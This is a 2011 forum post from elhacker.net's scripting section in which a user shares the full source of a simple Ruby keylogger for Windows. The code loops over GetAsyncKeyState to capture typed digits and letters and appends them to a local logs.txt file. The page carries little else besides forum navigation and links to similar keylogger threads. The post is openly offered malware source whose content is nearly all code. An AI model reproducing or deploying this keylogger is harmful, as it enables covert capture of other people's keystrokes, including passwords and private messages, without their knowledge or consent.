elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:19  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Ruby] Simple Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] Simple Keylogger  (Leído 473 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Ruby] Simple Keylogger
« en: 7 Octubre 2011, 01:30 »

Un simple keylogger en Ruby


Código
#!usr/bin/ruby
#Simple Keylogger in Ruby
#(C) Doddy Hackman 2011
 
require 'Win32API'
 
def savefile(filename,text)
files = File.open(filename,'a')
files.puts text+"\n"
end
 
def capturar
 
nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")
 
while 1
 
for num1 in (0x30..0x39) #numbers
if nave.call(num1) & 0x01 == 1
savefile("logs.txt",num1.chr())
end
end
 
for num2 in (0x41..0x5A) #letters
if nave.call(num2) & 0x01 == 1
savefile("logs.txt",num2.chr())
end
end
end
end
 
capturar() #Start the keylogger
 
# ¿ The End ?
 


« Última modificación: 8 Octubre 2011, 19:02 por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Busco Keylogger Muy Simple
Análisis y Diseño de Malware
K4sS 13 1,791 Último mensaje 17 Julio 2006, 09:50
por OTTODEATH
Ruby y Ruby on Rails
Programación General
Nanocity 2 675 Último mensaje 31 Octubre 2007, 21:32
por alone-in-the-chat
[Introducing Ruby] Lo que debes saber sobre Ruby
Scripting
RyogiShiki 0 1,946 Último mensaje 4 Marzo 2011, 20:45
por RyogiShiki
[Python] Kaley, Keylogger simple en Python
Scripting
Fyrox 0 1,072 Último mensaje 21 Septiembre 2011, 23:24
por Fyrox
[Python] Simple Keylogger
Scripting
Doddy 0 690 Último mensaje 7 Octubre 2011, 01:38
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines